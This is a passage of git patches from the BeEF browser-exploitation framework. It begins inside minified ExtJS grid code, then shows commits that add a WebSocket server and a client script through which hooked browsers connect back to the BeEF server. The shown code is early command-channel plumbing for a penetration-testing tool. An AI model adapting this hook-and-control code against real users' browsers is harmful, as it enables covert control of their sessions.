(a) { + this.source[d] = c; + b = new Ext.grid.PropertyRecord({name:d, value:c}, d); + this.store.add(b) + } + } +}, remove:function (b) { + var a = this.getRec(b); + if (a) { + this.store.remove(a); + delete this.source[b] + } +}, getRec:function (a) { + return this.store.getById(a) +}, getSource:function () { + return this.source +}}); +Ext.grid.PropertyColumnModel = Ext.extend(Ext.grid.ColumnModel, {nameText:"Name", valueText:"Value", dateFormat:"m/j/Y", trueText:"true", falseText:"false", constructor:function (c, b) { + var d = Ext.grid, e = Ext.form; + this.grid = c; + d.PropertyColumnModel.superclass.constructor.call(this, [ + {header:this.nameText, width:50, sortable:true, dataIndex:"name", id:"name", menuDisabled:true}, + {header:this.valueText, width:50, resizable:false, dataIndex:"value", id:"value", menuDisabled:true} + ]); + this.store = b; + var a = new e.Field({autoCreate:{tag:"select", children:[ + {tag:"option", value:"true", html:this.trueText}, + {tag:"option", value:"false", html:this.falseText} + ]}, getValue:function () { + return this.el.dom.value == "true" + }}); + this.editors = {date:new d.GridEditor(new e.DateField({selectOnFocus:true})), string:new d.GridEditor(new e.TextField({selectOnFocus:true})), number:new d.GridEditor(new e.NumberField({selectOnFocus:true, style:"text-align:left;"})), "boolean":new d.GridEditor(a, {autoSize:"both"})}; + this.renderCellDelegate = this.renderCell.createDelegate(this); + this.renderPropDelegate = this.renderProp.createDelegate(this) +}, renderDate:function (a) { + return a.dateFormat(this.dateFormat) +}, renderBool:function (a) { + return this[a ? "trueText" : "falseText"] +}, isCellEditable:function (a, b) { + return a == 1 +}, getRenderer:function (a) { + return a == 1 ? this.renderCellDelegate : this.renderPropDelegate +}, renderProp:function (a) { + return this.getPropertyName(a) +}, renderCell:function (d, b, c) { + var a = this.grid.customRenderers[c.get("name")]; + if (a) { + return a.apply(this, arguments) + } + var e = d; + if (Ext.isDate(d)) { + e = this.renderDate(d) + } else { + if (typeof d == "boolean") { + e = this.renderBool(d) + } + } + return Ext.util.Format.htmlEncode(e) +}, getPropertyName:function (b) { + var a = this.grid.propertyNames; + return a && a[b] ? a[b] : b +}, getCellEditor:function (a, e) { + var b = this.store.getProperty(e), d = b.data.name, c = b.data.value; + if (this.grid.customEditors[d]) { + return this.grid.customEditors[d] + } + if (Ext.isDate(c)) { + return this.editors.date + } else { + if (typeof c == "number") { + return this.editors.number + } else { + if (typeof c == "boolean") { + return this.editors["boolean"] + } else { + return this.editors.string + } + } + } +}, destroy:function () { + Ext.grid.PropertyColumnModel.superclass.destroy.call(this); + this.destroyEditors(this.editors); + this.destroyEditors(this.grid.customEditors) +}, destroyEditors:function (b) { + for (var a in b) { + Ext.destroy(b[a]) + } +}}); +Ext.grid.PropertyGrid = Ext.extend(Ext.grid.EditorGridPanel, {enableColumnMove:false, stripeRows:false, trackMouseOver:false, clicksToEdit:1, enableHdMenu:false, viewConfig:{forceFit:true}, initComponent:function () { + this.customRenderers = this.customRenderers || {}; + this.customEditors = this.customEditors || {}; + this.lastEditRow = null; + var b = new Ext.grid.PropertyStore(this); + this.propStore = b; + var a = new Ext.grid.PropertyColumnModel(this, b); + b.store.sort("name", "ASC"); + this.addEvents("beforepropertychange", "propertychange"); + this.cm = a; + this.ds = b.store; + Ext.grid.PropertyGrid.superclass.initComponent.call(this); + this.mon(this.selModel, "beforecellselect", function (e, d, c) { + if (c === 0) { + this.startEditing.defer(200, this, [d, 1]); + return false + } + }, this) +}, onRender:function () { + Ext.grid.PropertyGrid.superclass.onRender.apply(this, arguments); + this.getGridEl().addClass("x-props-grid") +}, afterRender:function () { + Ext.grid.PropertyGrid.superclass.afterRender.apply(this, arguments); + if (this.source) { + this.setSource(this.source) + } +}, setSource:function (a) { + this.propStore.setSource(a) +}, getSource:function () { + return this.propStore.getSource() +}, setProperty:function (c, b, a) { + this.propStore.setValue(c, b, a) +}, removeProperty:function (a) { + this.propStore.remove(a) +}}); +Ext.reg("propertygrid", Ext.grid.PropertyGrid); +Ext.grid.GroupingView = Ext.extend(Ext.grid.GridView, {groupByText:"Group By This Field", showGroupsText:"Show in Groups", hideGroupedColumn:false, showGroupName:true, startCollapsed:false, enableGrouping:true, enableGroupingMenu:true, enableNoGroups:true, emptyGroupText:"(None)", ignoreAdd:false, groupTextTpl:"{text}", groupMode:"value", cancelEditOnToggle:true, initTemplates:function () { + Ext.grid.GroupingView.superclass.initTemplates.call(this); + this.state = {}; + var a = this.grid.getSelectionModel(); + a.on(a.selectRow ? "beforerowselect" : "beforecellselect", this.onBeforeRowSelect, this); + if (!this.startGroup) { + this.startGroup = new Ext.XTemplate('
    ', '
    ', this.groupTextTpl, "
    ", '
    ') + } + this.startGroup.compile(); + if (!this.endGroup) { + this.endGroup = "
    " + } +}, findGroup:function (a) { + return Ext.fly(a).up(".x-grid-group", this.mainBody.dom) +}, getGroups:function () { + return this.hasRows() ? this.mainBody.dom.childNodes : [] +}, onAdd:function (d, a, b) { + if (this.canGroup() && !this.ignoreAdd) { + var c = this.getScrollState(); + this.fireEvent("beforerowsinserted", d, b, b + (a.length - 1)); + this.refresh(); + this.restoreScroll(c); + this.fireEvent("rowsinserted", d, b, b + (a.length - 1)) + } else { + if (!this.canGroup()) { + Ext.grid.GroupingView.superclass.onAdd.apply(this, arguments) + } + } +}, onRemove:function (e, a, b, d) { + Ext.grid.GroupingView.superclass.onRemove.apply(this, arguments); + var c = document.getElementById(a._groupId); + if (c && c.childNodes[1].childNodes.length < 1) { + Ext.removeNode(c) + } + this.applyEmptyText() +}, refreshRow:function (a) { + if (this.ds.getCount() == 1) { + this.refresh() + } else { + this.isUpdating = true; + Ext.grid.GroupingView.superclass.refreshRow.apply(this, arguments); + this.isUpdating = false + } +}, beforeMenuShow:function () { + var c, a = this.hmenu.items, b = this.cm.config[this.hdCtxIndex].groupable === false; + if ((c = a.get("groupBy"))) { + c.setDisabled(b) + } + if ((c = a.get("showGroups"))) { + c.setDisabled(b); + c.setChecked(this.canGroup(), true) + } +}, renderUI:function () { + var a = Ext.grid.GroupingView.superclass.renderUI.call(this); + if (this.enableGroupingMenu && this.hmenu) { + this.hmenu.add("-", {itemId:"groupBy", text:this.groupByText, handler:this.onGroupByClick, scope:this, iconCls:"x-group-by-icon"}); + if (this.enableNoGroups) { + this.hmenu.add({itemId:"showGroups", text:this.showGroupsText, checked:true, checkHandler:this.onShowGroupsClick, scope:this}) + } + this.hmenu.on("beforeshow", this.beforeMenuShow, this) + } + return a +}, processEvent:function (b, i) { + Ext.grid.GroupingView.superclass.processEvent.call(this, b, i); + var h = i.getTarget(".x-grid-group-hd", this.mainBody); + if (h) { + var g = this.getGroupField(), d = this.getPrefix(g), a = h.id.substring(d.length), c = new RegExp("gp-" + Ext.escapeRe(g) + "--hd"); + a = a.substr(0, a.length - 3); + if (a || c.test(h.id)) { + this.grid.fireEvent("group" + b, this.grid, g, a, i) + } + if (b == "mousedown" && i.button == 0) { + this.toggleGroup(h.parentNode) + } + } +}, onGroupByClick:function () { + var a = this.grid; + this.enableGrouping = true; + a.store.groupBy(this.cm.getDataIndex(this.hdCtxIndex)); + a.fireEvent("groupchange", a, a.store.getGroupState()); + this.beforeMenuShow(); + this.refresh() +}, onShowGroupsClick:function (a, b) { + this.enableGrouping = b; + if (b) { + this.onGroupByClick() + } else { + this.grid.store.clearGrouping(); + this.grid.fireEvent("groupchange", this, null) + } +}, toggleRowIndex:function (c, a) { + if (!this.canGroup()) { + return + } + var b = this.getRow(c); + if (b) { + this.toggleGroup(this.findGroup(b), a) + } +}, toggleGroup:function (c, b) { + var a = Ext.get(c), d = Ext.util.Format.htmlEncode(a.id); + b = Ext.isDefined(b) ? b : a.hasClass("x-grid-group-collapsed"); + if (this.state[d] !== b) { + if (this.cancelEditOnToggle !== false) { + this.grid.stopEditing(true) + } + this.state[d] = b; + a[b ? "removeClass" : "addClass"]("x-grid-group-collapsed") + } +}, toggleAllGroups:function (c) { + var b = this.getGroups(); + for (var d = 0, a = b.length; d < a; d++) { + this.toggleGroup(b[d], c) + } +}, expandAllGroups:function () { + this.toggleAllGroups(true) +}, collapseAllGroups:function () { + this.toggleAllGroups(false) +}, getGroup:function (a, e, i, j, b, h) { + var c = this.cm.config[b], d = i ? i.call(c.scope, a, {}, e, j, b, h) : String(a); + if (d === "" || d === " ") { + d = c.emptyGroupText || this.emptyGroupText + } + return d +}, getGroupField:function () { + return this.grid.store.getGroupState() +}, afterRender:function () { + if (!this.ds || !this.cm) { + return + } + Ext.grid.GroupingView.superclass.afterRender.call(this); + if (this.grid.deferRowRender) { + this.updateGroupWidths() + } +}, afterRenderUI:function () { + Ext.grid.GroupingView.superclass.afterRenderUI.call(this); + if (this.enableGroupingMenu && this.hmenu) { + this.hmenu.add("-", {itemId:"groupBy", text:this.groupByText, handler:this.onGroupByClick, scope:this, iconCls:"x-group-by-icon"}); + if (this.enableNoGroups) { + this.hmenu.add({itemId:"showGroups", text:this.showGroupsText, checked:true, checkHandler:this.onShowGroupsClick, scope:this}) + } + this.hmenu.on("beforeshow", this.beforeMenuShow, this) + } +}, renderRows:function () { + var a = this.getGroupField(); + var e = !!a; + if (this.hideGroupedColumn) { + var b = this.cm.findColumnIndex(a), d = Ext.isDefined(this.lastGroupField); + if (!e && d) { + this.mainBody.update(""); + this.cm.setHidden(this.cm.findColumnIndex(this.lastGroupField), false); + delete this.lastGroupField + } else { + if (e && !d) { + this.lastGroupField = a; + this.cm.setHidden(b, true) + } else { + if (e && d && a !== this.lastGroupField) { + this.mainBody.update(""); + var c = this.cm.findColumnIndex(this.lastGroupField); + this.cm.setHidden(c, false); + this.lastGroupField = a; + this.cm.setHidden(b, true) + } + } + } + } + return Ext.grid.GroupingView.superclass.renderRows.apply(this, arguments) +}, doRender:function (c, h, q, a, p, s) { + if (h.length < 1) { + return"" + } + if (!this.canGroup() || this.isUpdating) { + return Ext.grid.GroupingView.superclass.doRender.apply(this, arguments) + } + var z = this.getGroupField(), o = this.cm.findColumnIndex(z), w, j = "width:" + this.getTotalWidth() + ";", e = this.cm.config[o], b = e.groupRenderer || e.renderer, t = this.showGroupName ? (e.groupName || e.header) + ": " : "", y = [], l, u, v, n; + for (u = 0, v = h.length; u < v; u++) { + var k = a + u, m = h[u], d = m.data[z]; + w = this.getGroup(d, m, b, k, o, q); + if (!l || l.group != w) { + n = this.constructId(d, z, o); + this.state[n] = !(Ext.isDefined(this.state[n]) ? !this.state[n] : this.startCollapsed); + l = {group:w, gvalue:d, text:t + w, groupId:n, startRow:k, rs:[m], cls:this.state[n] ? "" : "x-grid-group-collapsed", style:j}; + y.push(l) + } else { + l.rs.push(m) + } + m._groupId = n + } + var x = []; + for (u = 0, v = y.length; u < v; u++) { + w = y[u]; + this.doGroupStart(x, w, c, q, p); + x[x.length] = Ext.grid.GroupingView.superclass.doRender.call(this, c, w.rs, q, w.startRow, p, s); + this.doGroupEnd(x, w, c, q, p) + } + return x.join("") +}, getGroupId:function (a) { + var b = this.getGroupField(); + return this.constructId(a, b, this.cm.findColumnIndex(b)) +}, constructId:function (c, e, a) { + var b = this.cm.config[a], d = b.groupRenderer || b.renderer, g = (this.groupMode == "value") ? c : this.getGroup(c, {data:{}}, d, 0, a, this.ds); + return this.getPrefix(e) + Ext.util.Format.htmlEncode(g) +}, canGroup:function () { + return this.enableGrouping && !!this.getGroupField() +}, getPrefix:function (a) { + return this.grid.getGridEl().id + "-gp-" + a + "-" +}, doGroupStart:function (a, d, b, e, c) { + a[a.length] = this.startGroup.apply(d) +}, doGroupEnd:function (a, d, b, e, c) { + a[a.length] = this.endGroup +}, getRows:function () { + if (!this.canGroup()) { + return Ext.grid.GroupingView.superclass.getRows.call(this) + } + var k = [], c = this.getGroups(), h, e = 0, a = c.length, d, b; + for (; e < a; ++e) { + h = c[e].childNodes[1]; + if (h) { + h = h.childNodes; + for (d = 0, b = h.length; d < b; ++d) { + k[k.length] = h[d] + } + } + } + return k +}, updateGroupWidths:function () { + if (!this.canGroup() || !this.hasRows()) { + return + } + var c = Math.max(this.cm.getTotalWidth(), this.el.dom.offsetWidth - this.getScrollOffset()) + "px"; + var b = this.getGroups(); + for (var d = 0, a = b.length; d < a; d++) { + b[d].firstChild.style.width = c + } +}, onColumnWidthUpdated:function (c, a, b) { + Ext.grid.GroupingView.superclass.onColumnWidthUpdated.call(this, c, a, b); + this.updateGroupWidths() +}, onAllColumnWidthsUpdated:function (a, b) { + Ext.grid.GroupingView.superclass.onAllColumnWidthsUpdated.call(this, a, b); + this.updateGroupWidths() +}, onColumnHiddenUpdated:function (b, c, a) { + Ext.grid.GroupingView.superclass.onColumnHiddenUpdated.call(this, b, c, a); + this.updateGroupWidths() +}, onLayout:function () { + this.updateGroupWidths() +}, onBeforeRowSelect:function (b, a) { + this.toggleRowIndex(a, true) +}}); +Ext.grid.GroupingView.GROUP_ID = 1000; \ No newline at end of file From d3e2e1eb30695c0dd12b0928194ec2658f2b3868 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sat, 7 Apr 2012 12:56:06 +0200 Subject: [PATCH 02/33] Inserted module in bootstrap --- beef | 131 ------------------ config.yaml | 6 +- core/bootstrap.rb | 3 + core/main/client/websocket.js | 5 +- .../websocket/handlers/module.rb | 20 +-- 5 files changed, 22 insertions(+), 143 deletions(-) delete mode 100755 beef diff --git a/beef b/beef deleted file mode 100755 index bbab62e73..000000000 --- a/beef +++ /dev/null @@ -1,131 +0,0 @@ -#!/usr/bin/env ruby - -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -# stop deprecation warning from being displayed -$VERBOSE = nil - -# @note Version check to ensure BeEF is running Ruby 1.9 > -if RUBY_VERSION < '1.9' - puts "\n" - puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later." - puts "OSX:" - puts "See Readme" - puts "\n" - exit -end - -$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.')) -$root_dir = File.expand_path('..', __FILE__) - -# @note Prevent some errors on encoding: encoding handling changed (improved) from 1.8.7 to 1.9.1/2. -if RUBY_VERSION =~ /1.9/ - Encoding.default_external = Encoding::UTF_8 - Encoding.default_internal = Encoding::UTF_8 -end - -# @note Require core loader's -require 'core/loader' - -# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed. -if BeEF::Core::Console::CommandLine.parse[:ext_config].empty? - config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml") -else - config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}") -end - -# @note After the BeEF core is loaded, bootstrap the rest of the framework internals -require 'core/bootstrap' - -# @note Loads enabled extensions -BeEF::Extensions.load - -# @note Prints the BeEF ascii art if the -a flag was passed -if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true - BeEF::Core::Console::Banners.print_ascii_art -end - -# @note Prints BeEF welcome message -BeEF::Core::Console::Banners.print_welcome_msg - -# @note Loads enabled modules -BeEF::Modules.load - -# @note Disable reverse dns -Socket.do_not_reverse_lookup = true - -# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging -case config.get("beef.database.driver") - when "sqlite" - DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}") - when "mysql","postgres" - DataMapper.setup(:default, - :adapter => config.get("beef.database.driver"), - :host => config.get("beef.database.db_host"), - :username => config.get("beef.database.db_user"), - :password => config.get("beef.database.db_passwd"), - :database => config.get("beef.database.db_name"), - :encoding => config.get("beef.database.db_encoding") - ) - else - print_error 'No default database selected. Please add one in config.yaml' -end - -# @note Resets the database if the -x flag was passed -if BeEF::Core::Console::CommandLine.parse[:resetdb] - print_info 'Resetting the database for BeEF.' - DataMapper.auto_migrate! -else - DataMapper.auto_upgrade! -end - -# @note Extensions may take a moment to load, thus we print out a please wait message -print_info 'BeEF is loading. Wait a few seconds...' - -# @note Execute migration procedure, checks for new modules -BeEF::Core::Migration.instance.update_db! - -# @note Create HTTP Server and prepare it to run -http_hook_server = BeEF::Core::Server.instance -http_hook_server.prepare - -# @note Prints information back to the user before running the server -BeEF::Core::Console::Banners.print_loaded_extensions -BeEF::Core::Console::Banners.print_loaded_modules -BeEF::Core::Console::Banners.print_network_interfaces_count -BeEF::Core::Console::Banners.print_network_interfaces_routes - -#@note Prints the API key needed to use the RESTful API -print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" - -# @note Call the API method 'pre_http_start' -BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) - -# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not -if config.get("beef.extension.console.shell.enable") == true - require 'extensions/console/shell' - puts "" - begin - FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder"))) - BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt, - BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run - rescue Interrupt - end -else - print_info 'BeEF server started (press control+c to stop)' - http_hook_server.start -end diff --git a/config.yaml b/config.yaml index 5fd15dac8..cc3de7e80 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.3-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework @@ -27,7 +27,7 @@ beef: permitted_ui_subnet: "0.0.0.0/0" http: - debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. + debug: true #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" # if running behind a nat set the public ip address here @@ -67,4 +67,4 @@ beef: enable: false console: shell: - enable: true + enable: false diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 2ce5f8643..b070cf051 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -46,3 +46,6 @@ require 'core/main/rest/handlers/hookedbrowsers' require 'core/main/rest/handlers/modules' require 'core/main/rest/handlers/logs' require 'core/main/rest/api' + +## @note Include Websocket +require 'core/main/network_stack/websocket/handlers/module' diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 4b4b9a075..8114364f2 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -17,9 +17,11 @@ //beef.websocket.socket.send(take answer to server beef) /*New browser init call this */ beef.websocket = { + socket: null, /*websocket send Helo to beef server and start async communication*/ start:function(){ + console.log("started ws \n") /*server is always on ws.beefServer:6666*/ var webSocketServer=beef.net.host; /*beefHost*/ var webSocketPort=6666; @@ -28,8 +30,9 @@ beef.websocket = { else this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ - this.socket.send("Helo"+"myid00"); + this.socket.send("Helo"+"myid00"); + console.log("Connected and Helo"); } diff --git a/core/main/network_stack/websocket/handlers/module.rb b/core/main/network_stack/websocket/handlers/module.rb index 235b2d1b0..b7cf8087f 100644 --- a/core/main/network_stack/websocket/handlers/module.rb +++ b/core/main/network_stack/websocket/handlers/module.rb @@ -15,15 +15,20 @@ # module BeEF module Core - module Rest - class Websocket + module Websocket + + + def initialize + + + print_info("Inside") #load the library $LOAD_PATH << File.dirname(__FILE__) + "../lib" require "web_socket" server = WebSocketServer.new("localhost", 6666) #we get host and port how server.run() do |ws| #@TODO debug print the path and who request for hooked browser mapping - printf("Path requested #{ws.path} Originis #{ws.origin}") + print_info("Path requested #{ws.path} Originis #{ws.origin}") if ws.path == "/" ws.handshake() #accept and connect @@ -34,18 +39,17 @@ module BeEF if (message!="helo") #module return value case else - printf("Browser #{ws.origin} says helo! ws is running") + print_info("Browser #{ws.origin} says helo! ws is running") end - end - - end end + + end end end -end \ No newline at end of file +end From 15ca7777bb0e988d42f46f1578e17c1360095943 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sat, 7 Apr 2012 13:00:40 +0200 Subject: [PATCH 03/33] Inserted module in bootstrap --- beef | 136 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100755 beef diff --git a/beef b/beef new file mode 100755 index 000000000..cb1bc8ca1 --- /dev/null +++ b/beef @@ -0,0 +1,136 @@ +#!/usr/bin/env ruby + +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# stop deprecation warning from being displayed +$VERBOSE = nil + +# @note Version check to ensure BeEF is running Ruby 1.9 > +if RUBY_VERSION < '1.9' + puts "\n" + puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later." + puts "OSX:" + puts "See Readme" + puts "\n" + exit +end + +$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.')) +$root_dir = File.expand_path('..', __FILE__) + +# @note Prevent some errors on encoding: encoding handling changed (improved) from 1.8.7 to 1.9.1/2. +if RUBY_VERSION =~ /1.9/ + Encoding.default_external = Encoding::UTF_8 + Encoding.default_internal = Encoding::UTF_8 +end + +# @note Require core loader's +require 'core/loader' + +# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed. +if BeEF::Core::Console::CommandLine.parse[:ext_config].empty? + config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml") +else + config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}") +end + +# @note After the BeEF core is loaded, bootstrap the rest of the framework internals +require 'core/bootstrap' + +# @note Loads enabled extensions +BeEF::Extensions.load + +# @note Prints the BeEF ascii art if the -a flag was passed +if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true + BeEF::Core::Console::Banners.print_ascii_art +end + +# @note Prints BeEF welcome message +BeEF::Core::Console::Banners.print_welcome_msg + +# @note Loads enabled modules +BeEF::Modules.load + +# @note Disable reverse dns +Socket.do_not_reverse_lookup = true + +# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging +case config.get("beef.database.driver") + when "sqlite" + DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}") + when "mysql","postgres" + DataMapper.setup(:default, + :adapter => config.get("beef.database.driver"), + :host => config.get("beef.database.db_host"), + :username => config.get("beef.database.db_user"), + :password => config.get("beef.database.db_passwd"), + :database => config.get("beef.database.db_name"), + :encoding => config.get("beef.database.db_encoding") + ) + else + print_error 'No default database selected. Please add one in config.yaml' +end + +# @note Resets the database if the -x flag was passed +if BeEF::Core::Console::CommandLine.parse[:resetdb] + print_info 'Resetting the database for BeEF.' + DataMapper.auto_migrate! +else + DataMapper.auto_upgrade! +end + +# @note Extensions may take a moment to load, thus we print out a please wait message +print_info 'BeEF is loading. Wait a few seconds...' + +# @note Execute migration procedure, checks for new modules +BeEF::Core::Migration.instance.update_db! + +# @note Create HTTP Server and prepare it to run +http_hook_server = BeEF::Core::Server.instance +http_hook_server.prepare + +# @note Prints information back to the user before running the server +BeEF::Core::Console::Banners.print_loaded_extensions +BeEF::Core::Console::Banners.print_loaded_modules +BeEF::Core::Console::Banners.print_network_interfaces_count +BeEF::Core::Console::Banners.print_network_interfaces_routes + +#@note Prints the API key needed to use the RESTful API +print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" + +BeEF::Core::Websocket.initialize + + + + +# @note Call the API method 'pre_http_start' +BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) + +# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not +if config.get("beef.extension.console.shell.enable") == true + require 'extensions/console/shell' + puts "" + begin + FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder"))) + BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt, + BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run + rescue Interrupt + end +else + print_info 'BeEF server started (press control+c to stop)' + http_hook_server.start +end From 236c8a81b6f32b73a69385ee3170cf2c76903adf Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 12:31:37 +0100 Subject: [PATCH 04/33] Fixed issue with lib loading and WebSocket server initalization --- beef | 3 +- core/bootstrap.rb | 3 +- .../websocket/handlers/module.rb | 55 ------------------- .../main/network_stack/websocket/websocket.rb | 51 +++++++++++++++++ 4 files changed, 55 insertions(+), 57 deletions(-) delete mode 100644 core/main/network_stack/websocket/handlers/module.rb create mode 100644 core/main/network_stack/websocket/websocket.rb diff --git a/beef b/beef index cb1bc8ca1..c37e7b50e 100755 --- a/beef +++ b/beef @@ -112,7 +112,8 @@ BeEF::Core::Console::Banners.print_network_interfaces_routes #@note Prints the API key needed to use the RESTful API print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" -BeEF::Core::Websocket.initialize +#@note Starts the WebSocket server +BeEF::Core::Websocket::Websocket.new diff --git a/core/bootstrap.rb b/core/bootstrap.rb index b070cf051..821df91ec 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -48,4 +48,5 @@ require 'core/main/rest/handlers/logs' require 'core/main/rest/api' ## @note Include Websocket -require 'core/main/network_stack/websocket/handlers/module' +require 'core/main/network_stack/websocket/lib/web_socket' +require 'core/main/network_stack/websocket/websocket' diff --git a/core/main/network_stack/websocket/handlers/module.rb b/core/main/network_stack/websocket/handlers/module.rb deleted file mode 100644 index b7cf8087f..000000000 --- a/core/main/network_stack/websocket/handlers/module.rb +++ /dev/null @@ -1,55 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -module BeEF - module Core - module Websocket - - - def initialize - - - print_info("Inside") - #load the library - $LOAD_PATH << File.dirname(__FILE__) + "../lib" - require "web_socket" - server = WebSocketServer.new("localhost", 6666) #we get host and port how - server.run() do |ws| - #@TODO debug print the path and who request for hooked browser mapping - print_info("Path requested #{ws.path} Originis #{ws.origin}") - if ws.path == "/" - ws.handshake() #accept and connect - - while true - #command interpretation - message=ws.receve() - - if (message!="helo") - #module return value case - else - print_info("Browser #{ws.origin} says helo! ws is running") - end - - end - end - - - end - - - end - end - end -end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb new file mode 100644 index 000000000..159234655 --- /dev/null +++ b/core/main/network_stack/websocket/websocket.rb @@ -0,0 +1,51 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Websocket + class Websocket + + + def initialize + print_info("Starting WebSockets") + + #todo antisnatchor: add config file options for IP/port/enable websocket + + server = WebSocketServer.new(:accepted_domains => "0.0.0.0",:port => 6666) #we get host and port + server.run() do |ws| + #@TODO debug print the path and who request for hooked browser mapping + print_info("Path requested #{ws.path} Origins #{ws.origin}") + if ws.path == "/" + ws.handshake() #accept and connect + + while true + #command interpretation + message=ws.receve() + + if (message!="helo") + #module return value case + else + print_info("Browser #{ws.origin} says helo! ws is running") + end + + end + end + end + end + end + end + end + end From 64cee24c65af4126405243a6c20c8288e3a932aa Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 12:46:57 +0100 Subject: [PATCH 05/33] Added WebSocket config options for enable, secure and port --- beef | 4 +++- config.yaml | 4 ++++ core/main/network_stack/websocket/websocket.rb | 6 ++++-- 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/beef b/beef index c37e7b50e..622e03a27 100755 --- a/beef +++ b/beef @@ -113,7 +113,9 @@ BeEF::Core::Console::Banners.print_network_interfaces_routes print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server -BeEF::Core::Websocket::Websocket.new +if config.get("beef.http.websocket.enable") + BeEF::Core::Websocket::Websocket.new +end diff --git a/config.yaml b/config.yaml index cc3de7e80..e94e8ab2e 100644 --- a/config.yaml +++ b/config.yaml @@ -37,6 +37,10 @@ beef: hook_file: "/hook.js" hook_session_name: "BEEFHOOK" session_cookie_name: "BEEFSESSION" + websocket: + enable: true + secure: false # use WebSocketSecure + port: 6666 database: # For information on using other databases please read the diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 159234655..a290f8b66 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -21,10 +21,12 @@ module BeEF def initialize print_info("Starting WebSockets") + config = BeEF::Core::Configuration.instance - #todo antisnatchor: add config file options for 